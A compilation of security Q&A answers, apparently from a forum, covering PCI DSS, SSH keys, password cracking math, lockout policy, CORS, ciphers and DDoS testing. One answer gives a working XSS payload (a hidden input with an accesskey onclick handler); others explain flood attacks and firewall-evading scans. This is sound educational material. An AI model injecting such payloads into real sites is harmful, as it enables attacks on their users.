PCI DSS Storage Definition - BizTalk Consideration

I doubt you will find a specific definition of storage from the PCI DSS since there are just so many different ways of perceiving when data is "stored". A quick poll of 3 other QSAs around me could not reach consensus immediately if BizTalk only stores information if overloaded or even when it is operating normally. Cache files etc can all play a role even if you don't normally see or expect it.

One thing we all do agree on is that it ultimately does not matter in your scenario based on the information you provided. PCI DSS applies to all systems if it processes, transmits or stores cardholder data. Clearly BizTalk is used to Process and Transmit information at the very least. If the system has the potential to store information when overloaded, it needs to be considered and all applicable controls put in place to safeguard card holder information.


Detect usage of password in public RSA (SSH) key

It is not possible for the server to detect how the key is stored. The server only sees the result of a mathematical computation involving the key. How the key client obtains the key is completely out of control of the server.

In theory the server could perform a timing analysis to try to guess whether the key is password-protected. However it is common practice to store the key in memory using ssh-agent, in which case the server would only measure the time it takes for the agent to provide the key; the server would still have no visibility on how the key was loaded into the agent.

Inasmuch as the policy is sensible, storing the key in a smartcard is rather better security than storing it on a hard disk with password protection. (That's of course not a universally true comparison — if you have a very good memory for complex passwords but tend to lose your wallet and the card is badly designed, a password-protected key may well be harder to get hold of. But most people take better care of what they have than of what they know.)

Of course, if the server administrator applies the policy blindly without understanding the rationale, you may be in trouble. If it comes to that, you can argue that the key is protected by the PIN. (The card does a better job of protection, that's why a PIN is sufficient — a 4-digit password is ridiculous security if the attacker has access to the encrypted file. I'm only saying this in case you run into an incompetent administrator.)


Are client-side-only apps regulated by PCI?

Your application processes cards so it must be assessed against PCI-DSS. The fact that it is client-side only or that the processisng is done on the server does not change the fact that at some point, someone is inputting a credit card number via your application.

In the case of client-side applications you have three possibilities:

SAQ A if you have an IFRAME or redirect the curtomer to the processor
SAQ A-EP if you still do not store cardholder data but use some elements from the processor's site in your appliucation (typically APIs and Javascript)
SAQ D-Merchant if you store the data (your case).

The point here is the protection of the cardholder data from "something" accessing it when it should not. Imagine that you store the data on a SD card in the open and that this data is available to other applications - typically it has not been secured enough.


Is fourteen characters long password really weak?

Is a password of the format

  NNccccccNNCCC#

weak?

Well, let's do some math two ways:

Assume it's purely randomly generated (not likely if it has a pattern), and assuming there are 32 choices for the trailing symbol (also unlikely; most passwords choose from a much smaller subset).

10^2 * 26^6 * 10^2 * 26^3 * 32 ~= 1.7E18 ~= 2^61
If the site hashes with a single round of MD5 (not unlikely), a modern machine performing an offline attack with oclHashcat will exhaustively search this total keyspace in about 7 months.
A cracking group of 7 people each with one of those machines, in about one month.
A well funded adversary will spend more time on the paperwork, even if the paperwork is just "push the button".

Assume it's purely randomly generated except for the 6 character string, which is a word or string that appears in a common cracking dictionary+ruleset of 200,000 possibilities, and assuming there are 32 choices for the trailing symbol (also unlikely; most passwords choose from a much smaller subset).

10^2 * 200000 * 10^2 * 26^3 * 32 ~= 1.1E15 ~= 2^50
If the site hashes with a single round of MD5 (not unlikely), a modern machine performing an offline attack with oclHashcat will exhaustively search this total keyspace in about 0.004 months, i.e. less than 3 hours.
If the site hashes with a single round of SHA-256, a modern machine performing an offline attack with oclHashcat will exhaustively search this total keyspace in about 0.035 months.
If the site hashes with a thousand rounds of SHA-1 without additional overhead (possible, I suppose), a modern machine performing an offline attack with oclHashcat will exhaustively search this total keyspace in about 14 months.

Unless they upgrade their GPU's during that year, in which case it goes down further.
If you wait for, say, 3 years, then based on Moore's Law and House's Corrollary, the exhaustive search time would be only 3 and a half months.
If you wait for, say, 6 years, then based on Moore's Law and House's Corrollary, the exhaustive search time would be about three weeks.

So, what amount of time does a given level of adversary need to spend on an offline attack for you to consider your password "not weak"?  Only you can decide that, but here's the math to help.

That one machine with 8 GPU's in January 2015:

MD5 one round: 2.5E17 tries/30 days (2^58)
SHA-1 one round: 7.8E16 tries/30 days (2^56)
SHA-256 one round: 3.2E16 tries/30 days (2^55)
SHA-512 one round: 1.2E16 tries/30 days (2^53)
WPA/WPA2: 3E12 tries/30 days (2^41)


To check memory layout and so on you can always use gdb as you did before. For instance, push gdbserver on your device, use adb to forward tcp port used by gdbserver and then use gdb by your side... that's all.

I suppose you get android-sdk and ndk installed


Does A6 - Security Misconfiguration be reported for embedded JS?

If we use an external JS file and just link to the file from the HTML using tag, will the issue still be reported?

It depends (it always does). When you would do it the way as described below, it most likely will:

<script src="https://external.party.com/mylibrary.js"></script>

The reason is you have no control over the library that is loaded in your website. If the remote host somehow get compromised, malicious code could be injected in the user's browser.

There are two options to prevent this issue:

Serve the library locally

Download the library from the external website and load it from your own web server. Make sure that the downloaded library is considered secure (use the latest stable version)

Subresource Integrity

Subresource Integrity (SRI) ensure that resources hosted on third-party servers have not been tampered with. This is done by generating a hash value of the remote library.

The image above is how you should use the generated hash from the HTML code. If this is the route you want to take, please have a look at Mozilla's web site for further information on how to generate the hash and how to configure the content security policy.

https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity


How can I protect my domain names without exposing too much personal information?

Many domain name services offer private registration. This means that they act as a go between for any information forwarded to the domain and yourself, protecting your privacy.

I.e. http://en.wikipedia.org/wiki/Domains_by_Proxy


Containerizing vs. Sandboxing vs. Layering vs. Virtualizing vs. whatever

Sandboxing, because you are "penning in" an application so that it doesn't trail dirt everywhere.

Virtualization often allows easier sandboxing, since the virtualized environment already offers the required behaviour for a sandbox; but in many virtualized environment it is possible for a process to recognize it's virtualized and interface with the virtualization host, and from there try to manipulate the outside environment. If a virtualization environment takes care not to let this happen, we might call it sandboxed virtualization to stress this fact.

Layering is a different concept altogether: it means that something is designed to offer (and ask) services at different abstraction levels, usually with some sort of black-boxing so that a layer doesn't know the details of what another layer does. A prime example would be TCP/IP.

And finally "containerizing" refers to the practice of bundling together several objects (for example a web server, a database server etc.) for ease of deployment. Again, one way of containerizing such would be to create a virtual environment (virtual appliance).

So all those terms are related, but their meaning is different (maybe ot always by very much).


Is it possible to run out Public-Key servers' storage by sending them countless valid Public-Keys?

This question really just boils down to, "Should you put rate-limits on a public-facing endpoint that accepts and records uploaded data from untrusted users?", to which the answer is virtually always "yes". There's nothing specific in this question that fundamentally ties it to public certificates.


Does my account lockout policy makes sense?

I agree with you on the flaws, but it appears to be along the right lines.

  After a few attempts, I disclose that a username is valid, by displaying a different message, but I could turn that off as well and always just display the standard message.

Yes, you should execute the same behaviour for invalid usernames too. Your site should simulate the lockout policy for these users. This will help protect against Username Enumeration.

  If the real user tries to log on while someone else is trying to break into her account, she wont be able to log in, so this is a denial of service. But two minutes after the attacker gives up, she can log in without having to call the help-desk.

You're correct in this is a DOS attack against the user. Maybe you should simply rate limit attempts after X failed attempts. An artificial delay of 5 seconds would stop brute force but it would allow a legitimate user to log on. The attempts should be measured by username and IP address (separately) and the throttle should be across threads to prevent an attacker submitting requests in parallel. Again, the same logic should apply to invalid usernames too.


Would it be plausible to write your own anti-crypto-ransomware tool?

Why there are not already more anti-crypto-ransomware tools?

Because there are. They are called virus scanners and they should have heuristic algorithms to detect this behavior. Unfortunately the ransomware-developers are smart enough to test their creations against all commonly used virus scanners and make sure they circumvent their heuristics somehow.

And before you start writing your own solution hoping it is somehow not covered by all the evasion tactics used by this kind of malware, setting up a backup solution is usually far easier and protects you from far more problems than just ransomware.


Is there any additional overhead over using Oauth vs Client Certificates?

Oauth is designed as a means of communicating identity between servers that don't necessarily trust each other.  This is useful for third-party login scenarios.  However, this lack of trust introduces overhead, since the authentication credentials cannot be sent directly.  Typically, this involves the use of a middleman (i.e., the user).
Whether this involves additional overhead is typically irrelevant, since you only use Oauth to initiate a session.  Once the user is identified, you should use some other system to identify the user (e.g., an authentication cookie).


Is it ok to send plain text credentials in a XHR GET request?

What do you use username and password for? If you are using them for logging in/authorization then usually:

You would have an end point like /login and you pass your username and password 1 time using POST method,
Then depending on the authentication system you are using, the end point returns a token or session information,
You pass this token or session information inside the header part of your subsequent requests. So you don't have to pass your username/password every time you make a request to your API.

It is ok to pass your username and password as plain text on first POST request when you are using HTTPS, but don't put them in your URL.


Satoshi Nakamoto Renaissance Holdings' website is Wordpress? Is it safe?

The only way anyone would be able to prove they created the network is by moving Bitcoins out of one of the very first (and oldest) blocks (EDIT: or signing something with their private key). As this is not demonstrated on the website, the fact of whether it is secure, hosted on WordPress or any other indication is irrelevant.

I think it's safe to say that this website is not genuine.


Subdomain Bruteforcing when every request gets resolved?

As Schroeder stated, if the crawler is configured to not hammer your server with requests, it could most certainly enumerate each subdomain. If this is for hiding something like an admin panel, you would be best off relying on a secure login system rather than obscuring the site as you don't want to rely on security by obscurity.


Vulnerabilities of IT system due to hardware?

Modern CPUs often have layers that operate below the level of the operating system (eg system management mode in x86 processors) so if the firmware controlling that lower level is compromised then the OS can be attacked.  People with specific knowledge of the hardware design would have an advantage compromising such lower level modes.

Smart phones often have a baseband controller that can access the memory used by the Smart part of the smart phone.  An attack directly on this baseband controller would then allow the main OS to be compromised even if it was patched for all known flaws.


How to perform XSS in hidden HTML input fields using accesskey?

After your injection, the resulting code should look like this:

<input type="hidden" accesskey="X" onclick="alert(1)">

For the payload to be executed, the user needs to press the access key combination for the hidden input field (for Firefox, Alt+Shift+X, see this for other browsers). If you want to make sure you are fireing the access key, you can switch from hidden to text to check that the field recieves focus.

I checked on Windows, and this does not seem to work in Chrome 62 and IE 11. However, it does work in Firefox 57. So while Firefox fires the onclick event when accesskeys are pressed, other browsers do not.

Here is a working example if you want to try yourself.

So why doesn't it work in Firefox 4? Since the behaviour here isn't consistent across browsers, it wouldn't surprise me if it's not consistent across different versions of the same browser either. Try my sample on Firefox 4, make sure that the access key is actually fired, and if it doesn't work thats pretty much it. You'll have to try to come up with something else. And why would you like to target such an ancient browser anyway?

Note that this is quite a limited exploit since it only works on Firefox and requires user interaction. I don't know if there is a better way to do it, but it looks like this is the best the good folks at Portswigger could come up with.


Mutual TLS and Cert Pinning solving the same problem?

While mutual TLS and certificate pinning are intended for different problems they can be used to solve the specific problem of detecting active MITM too. Only, with mutual TLS it is the server which detects the MITM (client certificate not as expected) while with certificate pinning it is the client (server certificate not as expected).

Implementation requirements are different too:
In case of (server) certificate pinning the clients needs the certificate of the server (or the CA in case of CA pinning). A fingerprint (hash) of the certificate or the public key (more flexible) would be sufficient too. And all clients can share the same information regarding the servers certificate.
With client certificates though each client needs a certificate and the matching private key. Each client should also better have a different certificate with a different key since sharing the same private key between clients makes it way more likely that an attacker gets access to the key. And of course proper revocation and a process to reissue a certificate needs to be installed in case the key from one client is compromised. This makes it way more complex and less scalable than server certificate pinning.

In other words: while both server certificate pinning and client certificates could be used to detect active MITM the use of server certificates is much simpler and scales better. Thus just using client certificates to detect MITM is probably a bad idea, but if they are needed anyway the side effect of protecting against active MITM can be used.


How do I deal with browsers complaining that my MediaWiki website has unsecure resources?

I just did a small audit if your site, here are my findings.

ssllabs test report grade A which is good
a curl -vvv https://www.jcwiki.website/wiki/Main_Page | grep "http:" yielded no results, also good.
Opening the site in Google Chrome (Version 42.0.2311.152) incognito window yields a mixed content warning.
I checked the development tools and the reason is that a request to  'https://www.jcwiki.website/w/load.php' results in a redirect to the http variant. HTTPS pages should load EVERYTHING over HTTPS. (ergo chrome complains).

you can see the error in action through the following curl command

curl 'https://www.jcwiki.website/w/load.php?debug=false&lang=en&modules=mediawiki.legacy.commonPrint%2Cshared%7Cmediawiki.skinning.interface%7Cmediawiki.ui.button%7Cskins.vector.styles&only=styles&skin=vector&*' -H 'Pragma: no-cache' -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36' -H 'Accept: text/css,*/*;q=0.1' -H 'Referer: http://www.jcwiki.website/wiki/Main_Page' -H 'Connection: keep-alive' -H 'Cache-Control: no-cache' --compressed -vvv

After some more research I suspect the $wgServer variable in LocalSettings.php is not setup right. source

I see you are using apache to host your site, you can use this vhost snippet to redirect http to https in apache :
<VirtualHost *:80>
   ServerName mysite.example.com
   DocumentRoot /usr/local/apache2/htdocs
   Redirect permanent /secure https://mysite.example.com/secure
</VirtualHost>

Source and Source 2 for using rewrite


Does Skype compromise my system (beyond the scope of calls/chats)?

Any application can be compromised. It is unlikely that Microsoft would infect its customers computers, but it is not impossible. There was a big case many years ago where Sony installed root-kits on people's computers. It is also possible that their could be a vulnerability in Skype (which there have been in the past) which a third party could utilize. A desktop application runs with whatever privileges are granted to the user under which its run. If you run it as root or Administrator privileges, then a malicious method or vulnerability could lead to interception of data or execution of unauthorized code.

In most cases, you have some level of defense with firewalls, host-based intrusion detection, network intrusion detection, or antivirus at the operating system level.

Whether an application is open source or not does not really impact is security or openness. An open source application is easier to analyze and critique, but if no one is looking for security issues or writing the patches, then its not magically more secure or less evil.


Business systems development (.NET, Java) vs IT Security Field, salary/future perspective

If I understand your question, you are talking about how your skills would be received (and then compensated) by employers and clients. I say this because one's salary comes from an employer who wants what you can do for them. If so, then I might shift the discussion a little.

There are many, many programmers out there. To make yourself attractive to employers and clients and to command a high salary, then you have to provide value equal to the compensation you seek. To do that, you either need to be in a niche that others need, or have a skill level that is easily recognized to be valuable. Is this hard to do? Not necessarily, if you understand the needs of the people you wish to serve. It's not about how good you are compared to other programmers, but how good you are at meeting the needs of employers and clients.

IT Security, is no different, but the playing field is skewed. The field is constantly mutating, needs and demands shift, and the entire definition of a 'career' in this field is in flux. At this point, you cannot study an established set of skills and trust that you would be in demand. Instead, you would need to be constantly aware of what is in demand and adjust accordingly. In this way, it is difficult to compare IT Security and a Programming career.

So, which path might be better? There might not be a way to answer that from the perspective of a future self looking back on a chosen career path. The benefit to a Security career is that it might be easy to find ways to meet market demands in creative and unexpected ways, and in that way, you could easily start off with a solid and profitable foundation. On the other hand, the shifting murk of the field might make it difficult to find a profitable base in the beginning.

Because of the uncertainty, IT Security is a 'labour of love', and those who engage in it do so because they are excited by the field.

In the end, as I said before, profitable careers are about your ability to meet the needs of the employer or client. It is not about doing what you like, having the right skills, achieving high grades, reading the right books, or how you compare to others. It's about being laser-targeted on solving other's problems. Do that, and your career is bright.


Does using both GPG encrypted files and encrypted filesystem make sense?

If your requirement is,

  I want to use version control system with these files and possibly
  apply steganography to conceal the existence of the files from
  intruders altogether.

then of course GPG'ing single files only isn't enough. You should encrypt and maybe even plausibly-deny the whole partition with something like TrueCrypt. Does this make sense? Only you can tell.

Once the partition is encrypted and hidden, does it make sense to have the files encrypted one by one? This depends on how a hypothetical attacked might gain access to the system.

The first level of access would be partition access.

This may be gained through straight key recovery (e.g., rubber hose attack, post-it attack) for a standalone system; on a connected system, once you allowed partition access to access your disk, the partition could be readable to a number of services with access to and from the outside, and this access could be compromised.

In a scenario which your level of wariness makes look farfetched, you might have forgotten a network share with weak password. Once the disk is unlocked, the share would then allow access to the plaintext files.

This, I think, is the only scenario wherein double encryption makes sense. The lead pipe attack scenario would naturally imply that access to the second layer might be secured with another judicious application of the same pipe, unless you went to the extremes of supplying a dead-man or kamikaze access (e.g., the unlocking mechanism on the external 'undeniable' partition also triggers a background filling of the partition, thereby trashing the hidden partition) AND the attacker hadn't thought of doing a low-level backup copy of the encrypted medium. The combined likelihood of these two events makes this a dark horse, in my opinion.

A more likely variation of the remote access scenario is that you have the need to run some service on the system, you need this service to have read access to some files that must be kept on the encrypted partition, you can't move these files to a separate, expendable and maybe even unencrypted partition, AND this service has a security vulnerability of which you are unaware.

To protect against this possibility, I believe you have no recourse except to doubly encrypt the files. Of course the service can't have access to the same encrypted files with the same general key, or exploiting the service would secure secondary level access to everything: you will have to use two separate keys, and if the same files need to be access from within and outside the service, you'll have to maintain two separate copies - or use two separate keys from outside the service, i.e.:

INNER ACCESS (key1) ---> file1_1, file2_1 <--- SERVICE (key1)
INNER ACCESS (key2) ---> file3_2, file4_2

or

                         file1_1, file2_1 <--- SERVICE (key1)
INNER ACCESS (key2) ---> file1_2, file2_2,
                         file3_2, file4_2

However, this all depends on your situation. There's no one-size-fits-all guideline that I know of...


Wiping data during full disk encryption on an SSD

It may not be fully effective due to the disk levelling that takes place. This distributes writes across the whole address space of the disk to reduce wear.

However, there is a standard process called "ATA Secure Erase". I also think that SSD's with NVMe interfaces have a command to securely wipe as well. Microsoft have a tool for their Surface Pro devices that use this. I don't know whether those are good enough for really sensitive data though.

But, you should note that the US DoD do not accept any methods for secure erasure other than physical destruction of the drive I think. Though Blancco offer a product that suggests otherwise so I may be mistaken. If the SSD contains sensitive information, you should look for a certified product. Check the DoD and NIST web sites for the latest information.


How perform Ping Flood, Ping Of Death, and Teardrop on local network?

These are all very old attacks. With the exception of a simple ping flood, you cannot even try to perform them using the latest version of Ubuntu, since it is not affected. You would need to download an old, unpatched copy of a vulnerable operating system such as Windows 95.

The Ping-of-Death involves sending a malformed ICMP request to a computer which crashes as a result. It is an actual DoS vulnerability leading to a crash, not a traditional bandwidth-based attack. It only affects very old systems that are vulnerable to it. In fact, the original was from 1997 and affected Windows 95 and several other contemporary systems. Any vulnerability in a system's networking stack that allows an ICMP request to crash the system could be categorized here.

A teardrop attack involves abusing IP fragmentation with oversized and overlapping payloads. When IP data is fragmented (usually in order to support routers that cannot handle large IP payloads), it contains information telling the destination system how to reassemble it. If this information is corrupt so that it specifies impossible overlap, it can cause old systems not designed to handle that to crash. Old operating systems such as, again, Windows 95 and very old Linux systems were vulnerable to this. Since then, such fragmentation-based attacks have stopped being relevant. Modern systems will gracefully handle improperly-delivered or corrupt IP fragments.

The only attack here which you can actually pull off is the ping flood (ICMP flood). This is a very simple attack involving nothing more than sending a flood of ICMP requests to the target. It only works if the attacking system has significantly more bandwidth than the victim, in which case it does nothing more than saturate the network and degrade service. This attack can be simulated using tools such as hping3. If you are performing this attack over a local network in a VM, you may need to artificially throttle the maximum network speed, since VM networking is so fast that you are unlikely to be able to generate ICMP requests at a high enough rate to cause denial of service.


Remote code execution vulnerability in PHP's base64_decode?

You should never say never, but there is no reason to believe you could exploit that line to gain RCE. The base64_decode function does exactly what the name implies - it decodes base64. To get the parameter value executed you would need a function that executes code provided to it, like eval. You don't seem to have that, so you are out of luck.

With that said, it looks like you could do path traversal, since there is no check for / characters. Not sure how you could exploit that in a redirect response, though. On older versions of PHP you could also do header injection by including a newline, thereby starting a new header.


Is it okay to wrap a cryptographic hash with MD5 for storage?

You don't lose anything by applying MD5.

Since you use md5(hash()) as your combined hashing scheme, presumably the attacker doesn't have the ability to submit an input that is only evaluated by md5(); it's either evaluated by the whole scheme or nothing at all. So given a hash h in your database, the attacker's goal is to find m such that md5(hash(m)) = h. (m may or may not be the original password, since a collision password is good enough to allow them to log in fraudulently.)

Assuming the attacker obtained h and they were able to take advantage of a weakness in MD5 and find a pre-image h' such that MD5(h') = h, that doesn't help them since they then still have to find the pre-image of h' in hash. If hash is sufficiently strong in it's own right, this is no weaker than using hash by itself.

The gist of the idea here is that MD5 acts like a random map of inputs to outputs. MD5's mapping is well distributed and random strings don't generate collisions. Security-wise, MD5 makes it too easy to intelligently craft collisions, but we don't care about the the attacker intelligently crafting the input to MD5 in this case, we only care that by adding a mapping to the output of hash we don't create more collisions with MD5(hash()) than expected of hash by itself. In other words, you aren't relying on MD5's cryptographic collision-resistent properties here. You could add any sort of random-ish mapping to the output of a good hash function and, as long as that mapping isn't prone to accidental collisions, you should lose nothing.

Addressing the updated part of the OP: You can use SHA-512 and truncate the output. The recent FIPS-140-4 standard specifies truncating SHA-512 to a handful of lengths. This is a fully-endorsed method.


Can you use an android device as a wireless adapter for kali linux?

No, you need a separate wireless card with a chipset that supports monitor mode. (i.e. Alfa, TPlink).

Here is a good resource that shows the Alfa nics BHIS uses.


BLP Lattice-structered system from Access Control Matrix

If I recall correctly, BLP is an example of a MAC (mandatory access control) system, while the access matrix you post is a simple RBAC system. You can't necessarily 'convert' between the two. MAC is based on the idea of labels (secret, top-secret etc), preventing information flow in certain directions between labels. RBAC is a completely 'flat' system; users are given rights to objects without regards to information flow.

So, you can't 'convert' the access matrix, but you can arrive at a lattice based on the access matrix by 'inventing' the extra information needed. Try to categorize the objects into MAC levels, and then assign users to those levels. You may arrive at conflicts: a user that has write access to a lower level (which violates the no-write-down property of BLP). Perhaps you could split the user in two, but in reality you wouldn't want people using multiple accounts. Another solution is to upgrade the classification of some objects, but that may give rise to new conflicts.


IP cameras are viewable in home Wifi and REMOTE Wifi, but not in 3G?

It sounds as though the client application you are using on your phone is only allowing connections over WiFi and not via 3G. Video feeds do use quite a bit of data relative to other phone applications. This may be something you can configure within the app to allow the video feed to work via 3G.

Many phone applications treat their WiFi connections and the telcom network connections very differently in many ways. Not knowing more about your situation I would verify the app's settings and also it's support for streaming video over 3G.

On the security side: When you open this to the Internet you have given the world attack surface on your network. There are numerous bugs and security issues with typical remote cameras. Do be aware that other people may one day be able to access this as well. Likewise, do consider that they may also use this device to pivot into other devices on your network.


company is sending md5 string via GET['password'] dangerous?

I am curious. Is it by definition insecure to work like this.

No. Submitting passwords via GET is not fundamentally less secure than submitting them via POST (which is what every other site does). It does mean that the "password" is stored unencrypted, but if done right, that password that they're storing not your actual login password but rather a password used specifically for this purpose. In fact, the string you see that you assume is MD5 may actually be the password itself, generated at random.

A authentication token passed in a URL is problematic because it (a) is easy to copy, even accidentally, (b) is cached, (c) shows up in referrer strings, (d) shows up in logs, (e) offers little in the way of actual authentication. Instead, of doing true authentication, the URL itself is the key.

On the other hand, this may be exactly what the company wants. If you want a protected resource to be accessible to anyone who knows the correct URL, then this is how you do it.

If they simply called it "access token" instead of "password", would you suddenly feel better about it?

  If you guys think I should notify the company in question: I will do so.

If that will make you feel better, then go ahead and tell them. They already know, of course, since they built it. It'd be like notifying someone that their car is blue.


Does SSH password authentication provide the server with the password?

What if we sent the hash?

If the hash were the authentication parameter, and not the password, then the hash would be the authentication parameter.

To explain that tautology in more depth: a password is hashed so that if the data store of passwords is compromised, one doesn't have a functional authentication credential. For that reason, it is the password that is sent to the server where the server performs the work to calculate the hash. Sending the hash of a password would be exactly the same as using a password generator with no hashing.

Are your passwords compromised if somebody has control of the server?

They can still steal passwords, either by brute forcing the authentication store to generate the raw password, or more efficiently by altering the server's daemon code to record your password attempts.


BBM messages are encrypted with 3DES, but based on this CSE page the key, at least in 2011, was common to all Blackberry devices meaning a device could potentially decrypt a message not destined for it if the device can spoof it's identify.

Apparently Blackberry even mentions that [you should] "consider PIN messages as scrambled, not encrypted".

The answer to your question is still probably No, it would take substantial resources and knowledge to do intercept and decrypt your messages, it wouldn't be 'easy' like cracking a WEP key, but I wouldn't use it for secrecy.


What’s the security risk when setting the Gnome keyring password to blank on an FED system with autologin?

There is no security risk to doing this, assuming the following are true:

Your disk encryption password is sufficiently strong to remain unbroken.
The keychain will always be open any time the encrypted disk is mounted.
You don't copy the keychain database to an unencrypted medium.

If you always and immediately unlock your keychain while the system is on, then there is no real benefit to encrypting it again, assuming you are using a sufficiently strong FDE password. The only real benefit to encrypting the keychain is if the database is stored on an otherwise unencrypted disk, or if you only unlock it when you need it (effectively preventing a malicious process from reading it until you enter the password, even if that malicious process has root).


known_hosts has nothing to do with public key authentication.  It's a list of servers you've previously connected to and fingerprints of their SSH keys to help verify the connection to the server is not being man-in-the-middled.

authorized_keys is a file stored on the server containing the SSH public keys of users authorized to log in to the server.

id_rsa is the private key.  id_rsa.pub is the public key.  The public key is encoded according to the format in RFC 4253, but basically it's a PEM-encoded blob that contains the key type, length, and the values n and e.

Public key authentication does not involve passwords at all.  There's no "password confirmation" step at all.  When the client connect, it offers the keys it has to server.  If the server can use one of those to connect, it asks the client to sign metadata about the request, including data provided by both the client and server.  The client takes the request data, signs it with the private key, and then sends it back to the server.  The server verifies the signature of the blob, which shows that the client possess the correct private key (matching one of the public keys in authorized_keys) and grants access.


Is scanning via source ports still relevant/advised?

Yes, it's worth trying.

It doesn't add much time or effort just to try the commonly used source ports.
There are still plenty of people running old or inappropriate devices as "firewalls".
No matter how shiny and stateful a firewall is, it has no defense against an administrator who opens by source port because they learned it that way (on a Cisco router, no doubt) or because they cut and paste something they found on Google.

Seriously, don't discount #3.  I worked with a Check Point administrator - 90% of his job was Check Point - who dutifully created two rules which bidirectionally mirrored each other whenever access was asked for.  He simply did not understand what stateful meant, and he kept writing things that looked like router ACLs, no matter how many times I came over after security review and said "This does not do what you think it does."


1) The file itself is commonly read access to all in one form or another across distros. So I would always assume information in that file is public.

2) The better option is to store data in LDAP etc. If you do not want this information to be accessed for all to read.


How to perform a proper DDoS test in a safe and controlled way?

If you are performing load testing at high packet rates, the most safe way is to isolate it completely from the rest of the network. For example, you can connect two servers by direct 10GBps link without switch, and use another LAN connection on benchmarking server to ssh to one server to run the test.

Another way is to provision servers in Public Cloud like AWS for short period of time and run it there. You don't risk impacting your infrastructure. It's OK to do it, cloud infrastructures are resilient so if you flood your server with packets it's just small bit in a lot more of traffic. Of course if would be good to provision big, fast machine, or even dedicated one so that you can really see how much load your software takes.

Regarding software, you can use generic ab which is "Apache Bench" and it's part of Apache packages. You can test resilience of your web server (static files from httpd) and application server (dynamic ones from PHP, Ruby, Java).
You might look for other, professional load testing software for specific protocols which may include API and video streaming testing. There are many of them depending on what protocol you are using (like REST etc).

Then proceed with usual network stack tuning as well application tuning to gain more performance (same on the client side like ulimit). Keep track record of your results. And also, try to analyze the logs properly with either free software like AWStats or commercial Sawmill. Avoid using grep ;-) Analytics is what will show you real results. Also note that ab is good for httpd but sometimes has issues with other web servers. And in AWS you can use Load Balancer which shows real-time stats as well. Record network stats with Nagios, Zabbix etc to see how the network stack performed (e.g. dropped connections, packet rate, CPU usage etc).

Never hire DDoS attacks as these are criminal gangs and you risk a lot, not only legally for yourself but also for your ISP, your business and your customers.


RC2 is a currently "unbroken" block cipher; the best known attack is a "related-key attack", i.e. something which does not really apply in practice (related-key attacks are about specific properties when the victim uses two distinct keys, that the attacker does not know, but with a difference between them that the attacker knows).

RC2 still has some suboptimal properties:

It uses 64-bit blocks. This makes it unsuitable to processing large data sets, the cut-off being around 2n/2 blocks when blocks consist in n bits. For a 64-bit block cipher, this amounts to about 30 gigabytes with a single key, which is large but not unattainable in some contexts. Encrypting more data than that implies a risk of revealing part of the plaintext. Note that 3DES suffers from exactly the same limitation. For encrypted emails, you should be OK with that.
Its performance sucks. About as much as that of 3DES; on my (underpowered) laptop, OpenSSL's implementation achieves about 10 MB/s with 3DES, 12 MB/s with RC2. There again, for emails, this should not be an issue.
RC2, in its description, uses a lot of data-dependent lookup tables. In that sense, it would be very difficult to make an implementation that is "constant-time" (i.e. does not leak information to attackers that can run their own code on the same hardware, through cache-induced timing differences); at least, it would be very difficult to make one without a massive slowdown (like a 100x slowdown factor). Note that classic 3DES implementations are not constant-time either, but that can be done with only a "moderate" (relatively) slowdown (about 3.5x with my own code).

Since email sending is asynchronous, and moreover since email encryption and decryption tends to happen on the user's desktop computer, not on a shared server, this kind of side-channel leakage should not be a big concern anyway. Unless you decide to upload private keys on a server, in which case the concerns may come back -- make sure, at least, that the server is not hosted in a cloud that shares the very same hardware with outsiders.
RC2 has a configurable key length, between 1 and 128 bytes (i.e. 8 to 1024 bits, and multiple of 8). Thus, while RC2 itself can be a tolerably fine algorithm, it can still be used with a key which is way too short for ensuring a decent level of security. RC2 also includes an additional parameter (called "effective key length") that can be used to limit the brute-force resistance. Historically, RC2 has been much used in setups meant to comply with the pre-2000 US crypto export rules, with a typical strength equivalent to 40 bits (i.e. not strong at all).

The fourth point is, in my opinion, your biggest risk when using RC2. You do not really know how large the actual encryption key is; if the software you use does not document that information, then you do not really know how strong the encryption will be. Moreover, software that uses RC2 might be a bit lacking in maintenance...

To sum up, there is nothing really wrong in RC2 itself for encrypting emails, but the implementation still has ample room for doing stupid things that annihilate security.


How to trace SMB connection to what process initiated the connection?

Ideally if trying to figure out what's making the connection there would be some monitoring (eg. procmon / packet capture on the client side. The server PID will always be the same since that's the server process and it's not initiating the connection, simply serving a response.

If it's not possible to monitor the client and the monitoring must be done on the server then there are a few methods that could be employed:

Network packet capture, which would show what kind of SMB traffic was hitting which ports
File system auditing, which would show if there were files being accessed at the same time
Process monitoring, which will show everything the system is doing - very verbose

Since it's the firewall triggering the alert it's likely network traffic, so a packet capture would be a good place to start. That might lead you to do something else in terms of monitoring.

Note also that a personal firewall / IDS might also help. If that's what is meant by "firewall" above then see if there are some verbose logs in there to tell what's going on.


Is there any risk to enabling CORS with a wildcard on S3?

If you use amazon web service only for handling unprotected public contents like storing profile images or something else then opening cors policy shouldn't pose any thread but if you are using it for handling some sensitive information then you should block cors request.

Sometimes it does happen that website allow cors but they put some sensitive information like csrf token etc which can be use by attacker in malicious intend.

There are numerous cases on miss-implementation of cors policy leading attacker to steal sensitive data,token etc. There are lot of hackerone reports about such attack.

https://hackerone.com/reports/163491

http://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/


Usually I try to tell people not to input any data on websites that are not secured with HTTPS.

That's good advice.

  Given how efficient SSLSTRIP is and that most people are secured by Wifi access control. How bad is it really?

For people who follow the above advice, SSLSTRIP has no effect because they (should) notice that their browser is not using HTTPS.

  How easy is it too intercept HTTP data?

With a rogue access point it is very easy. With a rogue cable modem on the same network, it is possible but difficult. DSL is harder as the lines are dedicated.


How can a website find an IP behind a proxy using DNS methods?

Make sure you use the proxy provider DNS or just set your system DNS to Open DNS or Google DNS.

Open DNS: 208.67.222.222 and 208.67.220.220

Google DNS: 8.8.8.8 and 8.8.4.4


How can I watch porn, safely, and not get a virus on my machine or infect corporate data

The same way you shop online without getting your CC details stolen.  Buy from reliable vendors that have established reputations as legitimate businesses.  Don't go places where they are trying to bait people in to generate bot nets and steal personal info.  If a deal is too good to be true, chances are good that it is.

